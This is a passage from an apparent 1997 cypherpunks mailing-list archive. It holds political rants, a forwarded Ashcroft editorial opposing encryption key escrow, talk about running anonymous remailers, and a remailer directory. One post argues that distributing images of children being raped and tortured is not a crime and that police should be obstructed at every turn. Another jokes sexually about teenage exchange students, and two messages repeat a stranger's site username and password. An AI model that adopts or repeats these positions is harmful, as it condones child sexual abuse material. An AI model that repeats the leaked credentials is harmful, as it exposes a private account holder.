hard-on the first time he got to vote on a bylaw that empowered him
and his pals and fucked everyone else. Then, once he's convinced
himself that this -->|       |<-- is 12", he decides that it is his
duty to run for Congress and share his "greatness" with the whole
country.

  I try to pay my parking tickets more than 500' from a schoolyard
and sell my drugs before the date I'm due to appear in court, but
I keep getting in trouble because I just can't keep up with all of
the intricate details involved in being a law-abiding citizen.
  What happened to the "good old days" when all you had to do was
stay out of stone-throwing range of the "righteous" in order to
live according to your own dictates?

  Today, the "righteous" feel that they have the right to come
in your home whenever they want, demand the wrong to read all of
your correspondence, tell you what you can put on your website,
limit what thoughts you can express and how you do so.
  And it never ends. If you want to build a dog-house you have to
deal with an army of people who are upholding the "righteousness"
of city permits, union rules, ecology regulations, tax laws, and
a multitude of similar bullshit. And if you happen to forget to
cross a 't' or dot an 'i', then you find you are in violation of
a new law which is classified as an "inconsequential felony."

Def. 'inconsequential felony' -- A legal term which refers to
a harmless action which is nonetheless subject to the severest
of punishments because someone in authority got a wild-hair up
their ass for some silly reason and deemed it should be so.

  I met a man in Texas who spent twenty years in prison for the
possession of a few stems and seeds. He thought it ironic that
the state had imprisoned him for twenty years to try to prevent
him from doing something that someone else thought would ruin
his life.
  He told me that at his sentencing, his mother told him, "I told
you smoking dope would ruin your life." She got upset when he was
"unrepentant" enough to reply, "No. I think the judge did that."

  The problem is not that the citizens are "sinners" but that
Hatch and his ilk are "righteous." When the "righteous" take it
on themselves to speak for a "higher power," whether it be "God"
or "National Security," then they begin justifying even the most
horrendous of actions as "just following orders."
  Thus, it's not really going to matter whether you are using crypto
to encrypt children's pictures or a new version of the Bible. Coming
new laws will make you a criminal either way, because the "righteous"
feel that it is up to them to decide if the children's pictures are
pornographic or if the new version of the Bible is sacreligious.

  Government has merely usurped religion as the final authority on
who is "righteous" and who is a "sinner," on what is "good" and
what is "bad." They are priests with nuclear weapons to back them
up in enforcement of their "commandments."
  The end result is that we have to fear getting nuked if we build
the fence around our house more than 5' high, so that the ever-
vigilant "righteous" don't hurt themselves when peeking over our
fence to see if we've built an illegal doghouse. And we have to
fear getting nuked if we want to electronically "whisper" when
the "righteous" are trying to spy on the "sinners."
  Same shit, different religion.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 13 Jul 1997 16:08:39 +0800
To: cypherpunks@toad.com
Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <199707130754.JAA29596@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Reputation Monger wrote:
> An anonymous message dated: Sat, 12 Jul 1997 08:46:32 +0200 (MET DST),
> and signed with the initials KC, wrote:

> >In any case...

> Damn.  Kent's figured out anonymous remailers.  I read this message
> because it came from anonymous--Kent's in my killfile.
>
> Know what this means?
> Anonymous remailers have more reputation capital than Kent.

Excerpt From:           Welcome to the
                  Cypherpunks Mailing List (TcM)
                  ------------------------

  Your initial post to the list has been digitally classified by the
Cypherpunks Automated Response system in order to determine the initial
level of reputation capital you will be awarded as a new member of the
Cypherpunks Mailing List (TcM).
...
At Reputation Capital levels below -1, you may be subjected to shame,
humiliation and filtering to the point where the only hope for your
posts being read is for you to post to the list anonymously, as a
"Monger" of one sort or another.

----------------------------------------------------------------------
*** "Cypherpunks Mailing List" is a (Trade{cocksucker}Mark) of the
Electronic Forgery Foundation, and any abuse of this (TcM) will be
considered normal behavior on this list. ***

  Kent has obviously read "The Tao of Remailers," which explains
the concept of turning the CypherPunks tools against them as
weapons.
  One has to wonder if Louis Freeh has read the book as well
and is sitting at home sending threatening letters to the
President via a variety of remailers.

  I wonder if it is feasible to design a remailer which sends out
anonymous email which is rated (Anonymous +7 / Anonymous -4) on
the basis of reputation capital?

Slightly Anonymous





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 13 Jul 1997 23:31:24 +0800
To: cypherpunks@toad.com
Subject: Re: Int'l High School Exchange
In-Reply-To: <65724882_64764806>
Message-ID: <euas0D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



buyguy222@erols.com writes:

> Have you ever thought about having a high school student from another
> country come and stay with your family?

I could take on a few h.s. girls, but my wife might get jealous.

> Pacific Intercultural Exchange (P.I.E.) has been matching high school
> students with American host families for more than 20 years.

Does this mean you only provide oriental girls?

> American families, families just like yours.  Imagine sharing your
> traditions with a teenager from another country.

Like, what kinds of traditions?

I have a tradition to encrypt, like, everything.  Would I still be
allowed to do that if I had a non-US teenage girl here?  Would I have
to take steps to prevent her from using my computers?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Jul 1997 22:56:49 +0800
To: cypherpunks@toad.com
Subject: Ashcroft Encryption Editorial
Message-ID: <v03110700afee97582793@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: fma66.fma.com: majordomo set sender to
owner-espam@lists.espace.net using -f
X-Orig-From: Bill GL Stafford <springco@arn.net>
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X-Sender: rah@atanda.com
Mime-Version: 1.0
Date: Sat, 12 Jul 1997 08:58:20 -0400
To: espam@intertrader.com, e$pam <e$pam@atanda.com>
From: Robert Hettinga <rah@shipwright.com>
Subject: Encription: editoral by IBD
X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com id
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Sender: owner-espam@lists.espace.net
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---------------------------------------------------------------------
This mail is brought to you by the e$pam mailing list
---------------------------------------------------------------------

From: Bill GL Stafford <springco@arn.net>
Organization: Spring Management Company
MIME-Version: 1.0
To: "dcsb@ai.mit.edu" <dcsb@ai.mit.edu>
Subject: Encription: editoral by IBD
X-Priority: 3 (Normal)
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Bill GL Stafford <springco@arn.net>

 I believe these guys are on our side.
 Bill GL Stafford
 <http://www.investors.com/web_edition/today/viewfrontpage.html>http://www
..invest
 ors.com/web_edition/today/viewfrontpage.html
 Encryption: Keep Feds'
 Nose Out Of The Net
 ASHCROFT J.

 Date: 7/11/97

 Edgar Hoover would have loved this. The
 Clinton administration wants government to
 be able to read international computer
 communications - financial transactions,
 personal e-mail and proprietary information
 sent abroad - all in the name of national
 security.

 In a proposal that raises obvious concerns
 about Americans' privacy, President
 Clinton wants to give agencies the keys for
 decoding all exported U.S. software and
 Internet communications. Such a policy also
 would tamper with the competitive
 advantage that our U.S. software
 companies currently enjoy in the field of
 encryption technology.

 Not only would Big Brother be looming over
 the shoulders of international cybersurfers,
 he also threatens to render our
 state-of-the-art computer software
 engineers obsolete and unemployed.

 Granted, the Internet could be used to
 commit crimes, and advanced encryption
 could disguise such activity. However, we
 do not provide the government with phone
 jacks outside our homes for unlimited
 wiretaps. Why, then, should we grant
 government the Orwellian capability to
 listen at will and in real time to our
 communications across the Web?

 The protections of the Fourth Amendment
 are clear. The right to protection from
 unlawful searches is an indivisible
 American value.

 The president has proposed that American
 companies and computer users supply the
 government with decryption keys to
 high-level encryption programs. Yet
 European software producers are free to
 produce computer encryption codes of all
 levels of security without providing keys to
 any government authority.

 Buyers of encryption software value security
 above all else. They will ultimately choose
 airtight encryption programs - not those for
 which the U.S. government maintains keys.

 In spite of this obvious fact, the president is
 trying to foist his rigid policy on the
 exceptionally fluid and fast-paced computer
 industry. Furthermore, recent developments
 in decryption technology cast doubt on the
 wisdom of any government meddling in this
 industry.

 Two weeks ago, the 56-bit algorithm
 government standard encryption code that
 protects most U.S. electronic financial
 transactions, from ATM cards to wire
 transfers, was broken by a low-powered
 90-megahertz Pentium processor.

 In 1977, when this code was first approved
 by the U.S. government as a standard, it
 was deemed unbreakable. And for good
 reason - there are 72 quadrillion different
 combinations in a 56-bit code. However,
 with today's technology, these 72
 quadrillion different combinations can each
 be tried -it's only a matter of time and
 determination.

 Two days after this encryption code was
 broken, however, the Senate Commerce
 Committee voted, in accordance with
 administration policy, to force American
 software companies to perpetuate this
 already compromised 56-bit encryption
 system.

 Meanwhile, 128- bit encryption software
 from European firms is available to every
 Web user. Interestingly, European firms can
 import this supersecure encryption
 technology (originally developed by
 Americans) to the U.S., but U.S. companies
 are forbidden by law from exporting these
 same programs to other countries.

 So to move forward with the president's
 policy or the Commerce Committee's bill
 would be an act of folly, creating a cadre of
 government peeping Toms and causing
 severe damage to our vibrant software
 industries. Government would be caught in
 a perpetual game of catch-up with whiz-kid
 code-breakers and industry advances.

 Majority Leader Trent Lott, R-Miss., has
 signaled his objection to both proposals.
 He and I would like to work to bring to the
 floor a version of the encryption legislation
 by Sen. Conrad Burns, R-Mont. Burns' bill
 closely resembles the popular House
 encryption bill sponsored by Rep. Bob
 Goodlatte, R- Va. Both measures would not
 require sharing of keys with the goverment.

 In essence, these proposals would give
 U.S. encryption software manufacturers the
 freedom to compete on equal footing in the
 worldwide marketplace. They would set up
 a quasi-governmental board for the industry
 to decide encryption bit strength based on
 the current level of international technology.

 U.S. companies are on the front line of
 online technologies - the value- added
 industries of the future.

 The best policy for encryption technology is
 one that can rapidly react to breakthroughs
 in decoding capability and roll back
 encryption limits as needed. The Burns and
 Goodlatte proposals would accomplish this.
 In contrast, the Clinton administration's
 unnecessary and invasive interest in
 international e-mail is a wholly unhealthy
 precedent, especially given this
 administration's track record on FBI files
 and Internal Revenue Service snooping.

 Every medium by which people
 communicate can be exploited by those
 with illegal or immoral intentions.
 Nevertheless, this is no reason to hand Big
 Brother the keys to unlock our e-mail
 diaries, open our ATM records or translate
 our international communications.

 John Ashcroft is a Republican U.S. senator
 from Missouri and a member of the Senate
 Commerce Committee.

 (C) Copyright 1997 Investors Business
 Daily, Inc.
 Metadata: E/IBD E/SN1 E/EDIT
 <http://www.investors.com/web_edition/today/viewfrontpage.html>http://www
..invest
 ors.com/web_edition/today/viewfrontpage.html
 --
 ÐÏà¡±
  For help on using this list (especially unsubscribing), send a message t o
 "dcsb-request@ai.mit.edu" with one line of text: "help".


---------------------------------------------------------------------
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http://www.hyperion.co.uk                    info@hyperion.co.uk
---------------------------------------------------------------------
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Or, for e$/e$pam sponsorship, <mailto:rah@shipwright.com>
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 15 Jul 1997 06:59:48 +0800
To: Antonomasia <ant@notatla.demon.co.uk>
Subject: Re: Jim Bell reference
In-Reply-To: <199707120851.JAA01075@notatla.demon.co.uk>
Message-ID: <Pine.LNX.3.91.970713110646.728A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Baloney.  The figures you give later indicate 1000 or 2000 investigations
> a year meeting computer encryption.  Even if they were all unbreakable
> that's 2000/year in a population of how many ?  Dents the clear-up rate
> by how much ?   Makes me think the issue is the preservation of many
> thousands of _unathorised_ taps.  What else could explain that viewpoint?

Don`t cloud the issue: The simple fact is strong encryption can and will 
obstruct law enforcement agencies in their "fight" against terrorism, 
child pornography, drugs etc... good.

> Incidentally, I'm against terrorism, child molestation etc etc. 
> I'm confident most other cypherpunks are too, so no nonsense please
> about free crypto supporters being backers of [crime of the month].

Once again, you fail to give adequate qualification to this statement, 
what forms of terrorism are you against: one mans terrorist is another 
mans freedom fighter. Were the French resistance during WWII terrorists? 
Would you then say their actions were wrong? As for child molestation, 
this is a clear cut case, most libertarians follow the basic rule that a 
crime has to be a direct act of agression, and infringe the rights of 
another person, therefore child molestation clearly comes into this 
category, distributing pictures of children being molested, raped, 
buggered, tortured and killed is clearly not a crime. Please clarify your 
position on this.

> >       A subject in a child pornography case used encryption in
> >       transmitting obscene and pornographic images of children
> >       over the Internet.
> >
> >       A major international drug trafficking subject recently used a
> >       telephone encryption device to frustrate court-approved
> >       electronic surveillance.

Above are two examples of why strong cryptography is a good thing, law 
enforcement should be routinely obstructed as often as possible.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Donald <jim@echeque.com>
Date: Mon, 14 Jul 1997 05:33:38 +0800
To: nobody@replay.com (Anonymous)
Subject: Re: FCPUNX:Jim Bell 6
Message-ID: <199707132109.OAA18740@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:34 PM 7/8/97 +0200, Anonymous wrote:
>  I mean, get real...Bell is imprisoned without bail with no charges
> having been filed against him. 

One might suppose this is because of his political ideas.

In actual fact, in America only those with subversive ideas
AND WHO CANNOT AFFORD A LAWYER are imprisoned for long periods
without charges or trial.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bradley E. Reynolds" <breynolds@harborcom.net>
Date: Mon, 14 Jul 1997 03:10:08 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Int'l High School Exchange
In-Reply-To: <euas0D2w165w@bwalk.dm.com>
Message-ID: <Pine.BSF.3.96.970713145143.18751A-100000@ns2.harborcom.net>
MIME-Version: 1.0
Content-Type: text/plain



> Like, what kinds of traditions?
> 
> I have a tradition to encrypt, like, everything.  Would I still be
> allowed to do that if I had a non-US teenage girl here?  Would I have
> to take steps to prevent her from using my computers?
> 
As long as you don't let her near the 128 bit encryption.  She
could be a spy

{hmm, sounds like black helicopters in the background}


Bradley Reynolds
breynolds@harborcom.net
ber@cwru.edu
PGP Fingerprint: 73 17 77 08 8A 72 DB 45 76 28 C5 5A 97 52 26
PGP Public Key: http://www.harborcom.net/~breynolds/pgp.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Mon, 14 Jul 1997 05:28:55 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@ssz.com>
Subject: Re: remailer@rcmp-grc.gc.ca ?? (fwd)
In-Reply-To: <199707122352.SAA13268@einstein.ssz.com>
Message-ID: <Pine.LNX.3.96.970713175352.11512B-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 12 Jul 1997, Jim Choate wrote:

> Forwarded message:
> 
> > Date: Sat, 12 Jul 1997 18:45:56 -0500
> > From: John Deters <jad@dsddhc.com>
> > Subject: remailer@rcmp-grc.gc.ca ??
> 
> > There are many anonymous re-mailers in operation across the Internet.
> 
> That's being just a tad charitable I think.

Not really, several is often used to roughly translate in common usage as
about seven, so 'many' could be more than several. Just as a few is
roughly four. A couple is about two. 

At least there are too many to get court authorization for all of them,
especially those pesky non-North American sites. 

It would be nice to see more remailer. I do not know if transient
remailers themselves are a good idea, but I think transient operators of
same-named remailer is good.

remailer.com and remailer.net is taken, but remailer.org appears to be
available. Maybe we need a network of transient operators for a number of
remailers all out of a common domain. remailer@tcmay.remailer.org,
remailer@vulis.remailer.org, etc., which the machine names points to
different machines IP addresses weekly. 

It allows sites which want to block anonymous mail via remailers easily
(such as certain retentive commerical sites) via domain blocking. This is
both a plus and a minus. An Admin trying to stop harrassment of a user
could block all anonymous remailed mail with a simple block os all mail
from remailer.org. Security conscience sites could prevent outgoing
messages from sending to remailer.org. Legit users blocked by this
only need non-business access such as via a freenet or AOL trial offer
diskette.

This would provide an increase in overhead for legal hassle for
net.weenies.  "No, I do not operate the anonymous remailer at
tcmay.remailer.org..." <whisper> "but I did last week."

It does not even increase the complexity at the user's end. Existing
software like premail, and Private Idaho wouldn't break. 

The only stumbling block I foresee is that the PGP private key
passphase would have to be shared amongst operators unless there is a
better way.

This may of been discussed by remailer operators before, I don't know.
If there is good solution to the private key passphase sharing then I
think the operation is possible without a lot of complex work. Maybe the
code from pgp.net dymanic domains could be used.

--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Mon, 14 Jul 1997 07:31:57 +0800
To: cypherpunks@Algebra.COM
Subject: Liberation Technology
In-Reply-To: <v03110700afee97582793@[139.167.130.248]>
Message-ID: <97Jul13.192222edt.32259@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



To coin a new phrase, and a play on words on the heresy known as
"liberation theology", I was thinking about what cypherpunks and such is
about and it comes down to "Liberation Technology".

Encryption and authentication technology lets me do things regardless of
what government wants.  I can communicate and not with who I want to.

But I also thought about some of the original Liberation Technology,
starting with the crossbow (which was banned because "even women could use
them").

Guns are liberation technology and why restrictions on the ownership or
usage parallel crypto and other internet restrictions - When I can
exercise a right by using technology, restricting that technology
restricts that right.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Mon, 14 Jul 1997 11:58:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bizarre e-mail in the orphan mailbox
In-Reply-To: <DL8s0D7w165w@bwalk.dm.com>
Message-ID: <19970714034743.24942.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



The Good Doctor writes:

> What is this stuff: http://hotbox.danni.com
> username: antonio
> password: 9183tc

> Why are they spamming me with their passwords?

Apparently, they think you will give them a credit card number they can
bill $9.95 a month to in perpetuity, just for the privelege of being able
to click on some jpg files of chunky women with big hooters. 

Go figure. 

I've never understood phone sex either. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 14 Jul 1997 11:48:45 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199707100510.WAA13559@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970713212419.29530A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 9 Jul 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy Mayhem's father, an idiot, stumbled across Timothy Mayhem's mother, an 
> imbecile, when she had no clothes on. Nine months later she had a little moron.
> 
>    ----
>   '@  *> Timothy Mayhem
>   |\   7
>  / `-- _
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 14 Jul 1997 10:36:14 +0800
To: cypherpunks@toad.com
Subject: Bizarre e-mail in the orphan mailbox
In-Reply-To: <199707131953.MAA21869@hotbox.danni.com>
Message-ID: <DL8s0D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



This is, like, bizarre.  Why do they send this stuff in cleartext,
and why does it come to my orphan mailbox? We have no "tcheung" here.

]Received: (from www@localhost) by hotbox.danni.com (8.7.3/8.7.3) id MAA21869 for tcheung@dm.com; Sun, 13 Jul 1997 12:53:37 -0700 (PDT)
]Date: Sun, 13 Jul 1997 12:53:37 -0700 (PDT)
]Message-Id: <199707131953.MAA21869@hotbox.danni.com>
]To: tcheung@dm.com
]From: Kris <kris@danni.com>
]Subject: Hotbox
]Errors-To: kris@danni.com
]
]Your HotBOX passwords have been activated!
]
]New Members:
]A charge will appear on your credit card statement (if that is how you
]paid) as "V.B.P. call for info (310) 258-0930." The cost of HotBOX is
]$9.95 per month, automatically charged to your credit card. We
]also offer trial memberships of one week at $2.99.
]
]All accounts will automatically renew at the end of the billing period
]at a rate of  $9.95 per month in order to assure you uninterrupted service.
]
]You can now access the HotBOX at:   http://hotbox.danni.com/hotbox
]If you have any comments or questions, don't hesitate to contact us:
]Hotbox@danni.com.
]
]Make sure you read the FAQ first before contacting us:
]http://hotbox.danni.com/faq.html
]
]*To cancel your account*, and stop all future billing: go to the following
]address and enter your name and your access codes.
]http://hotbox.danni.com/cancel.html
]
]
]Current HotBOX Members:
]If you have recently contacted us about being unable to access the HotBOX
]With your codes, this is a message to notify you that your codes have been
]reactivated. This does not mean that you are being billed again, unless you
]have allowed your membership to lapse and are now restarting it. Please call
]our office if you are unfamiliar with the details of your account.
]
]Danni's Hard Drive can be contacted at:
](310) 258-0930 from 9am to 6pm, every day, Pacific time.
]Our toll free number is (888) 878-7252
]Hotbox@danni.com for HotBOX problems
]madison@danni.com for merchandise problems
]danni@danni.com for fan mail and suggestions
]
]If you send us any e-mail regarding your account, *please* send us your
]Full name, username and password -- it will help us rectify any problems much
]more quickly.
]
]Enter your username & password in the *exact same* upper/lower case
]patterns shown here:
]
]username: antonio
]password: 9183tc
]
]Please note: your username might have been modified if another member
]had already selected it.
]Have Fun!
]Jannine and kris,
]HotBOX Administration
]kris@danni.com
]http://www.danni.com
]http://hotbox.danni.com
]

What is this stuff: http://hotbox.danni.com
username: antonio
password: 9183tc

Why are they spamming me with their passwords?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 14 Jul 1997 14:20:01 +0800
To: cypherpunks@toad.com
Subject: Keep Feds' nose out of the Net, by Sen. John Ashcroft
Message-ID: <Pine.GSO.3.95.970713225322.18129K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Sun, 13 Jul 1997 22:53:17 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Keep Feds' nose out of the Net, by Sen. John Ashcroft


>Copyright (c)  1997 Investors Business Daily, All rights reserved.
>Investor's Business Daily - Guest Editorial (07/11/97)
>Encryption: Keep Feds' Nose Out Of The Net
>By SEN. JOHN ASHCROFT
>
>     J. Edgar Hoover would have loved this. The Clinton administration wants
>government to be able to read international computer communications -
>financial transactions, personal e-mail and proprietary information sent
>abroad - all in the name of national security. 
>
>In a proposal that raises obvious concerns about Americans' privacy,
>President Clinton wants to give agencies the keys for decoding all exported
>U.S. software and Internet communications. Such a policy also would tamper
>with the competitive advantage that our U.S. software companies currently
>enjoy in the field of encryption technology.
>     Not only would Big Brother be looming over the shoulders of
>international cybersurfers, he also threatens to render our state-of-the-art
>computer software engineers obsolete and unemployed.
>     Granted, the Internet could be used to commit crimes, and advanced
>encryption could disguise such activity. However, we do not provide the
>government with phone jacks outside our homes for unlimited wiretaps. Why,
>then, should we grant government the Orwellian capability to listen at will
>and in real time to our communications across the Web?
>     The protections of the Fourth Amendment are clear. The right to
>protection from unlawful searches is an indivisible American value.
>     The president has proposed that American companies and computer users
>supply the government with decryption keys to high-level encryption programs.
>Yet European software producers are free to produce computer encryption codes
>of all levels of security without providing keys to any government authority.
>     Buyers of encryption software value security above all else. They will
>ultimately choose airtight encryption programs - not those for which the U.S.
>government maintains keys.
>     In spite of this obvious fact, the president is trying to foist his
>rigid policy on the exceptionally fluid and fast-paced computer industry.
>Furthermore, recent developments in decryption technology cast doubt on the
>wisdom of any government meddling in this industry.
>     Two weeks ago, the 56-bit algorithm government standard encryption code
>that protects most U.S. electronic financial transactions, from ATM cards to
>wire transfers, was broken by a low-powered 90-megahertz Pentium processor.
>     In 1977, when this code was first approved by the U.S. government as a
>standard, it was deemed unbreakable. And for good reason - there are 72
>quadrillion different combinations in a 56-bit code. However, with today's
>technology, these 72 quadrillion different combinations can each be tried
>-it's only a matter of time and determination.
>     Two days after this encryption code was broken, however, the Senate
>Commerce Committee voted, in accordance with administration policy, to force
>American software companies to perpetuate this already compromised 56-bit
>encryption system.
>     Meanwhile, 128- bit encryption software from European firms is available
>to every Web user. Interestingly, European firms can import this supersecure
>encryption technology (originally developed by Americans) to the U.S., but
>U.S. companies are forbidden by law from exporting these same programs to
>other countries.
>     So to move forward with the president's policy or the Commerce
>Committee's bill would be an act of folly, creating a cadre of government
>peeping Toms and causing severe damage to our vibrant software industries.
>Government would be caught in a perpetual game of catch-up with whiz-kid
>code-breakers and industry advances.
>     Majority Leader Trent Lott, R-Miss., has signaled his objection to both
>proposals. He and I would like to work to bring to the floor a version of the
>encryption legislation by Sen. Conrad Burns, R-Mont. Burns' bill closely
>resembles the popular House encryption bill sponsored by Rep. Bob Goodlatte,
>R- Va. Both measures would not require sharing of keys with the goverment.
>     In essence, these proposals would give U.S. encryption software
>manufacturers the freedom to compete on equal footing in the worldwide
>marketplace. They would set up a quasi-governmental board for the industry to
>decide encryption bit strength based on the current level of international
>technology.
>     U.S. companies are on the front line of online technologies - the value-
>added industries of the future.
>     The best policy for encryption technology is one that can rapidly react
>to breakthroughs in decoding capability and roll back encryption limits as
>needed. The Burns and Goodlatte proposals would accomplish this. In contrast,
>the Clinton administration's unnecessary and invasive interest in
>international e-mail is a wholly unhealthy precedent, especially given this
>administration's track record on FBI files and Internal Revenue Service
>snooping.
>     Every medium by which people communicate can be exploited by those with
>illegal or immoral intentions. Nevertheless, this is no reason to hand Big
>Brother the keys to unlock our e-mail diaries, open our ATM records or
>translate our international communications.##
>
>     John Ashcroft is a Republican U.S. senator from Missouri and a member of
>the Senate Commerce Committee.    







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 14 Jul 1997 22:20:25 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199707141350.GAA02026@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 14 Jul 97 6:47:04 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
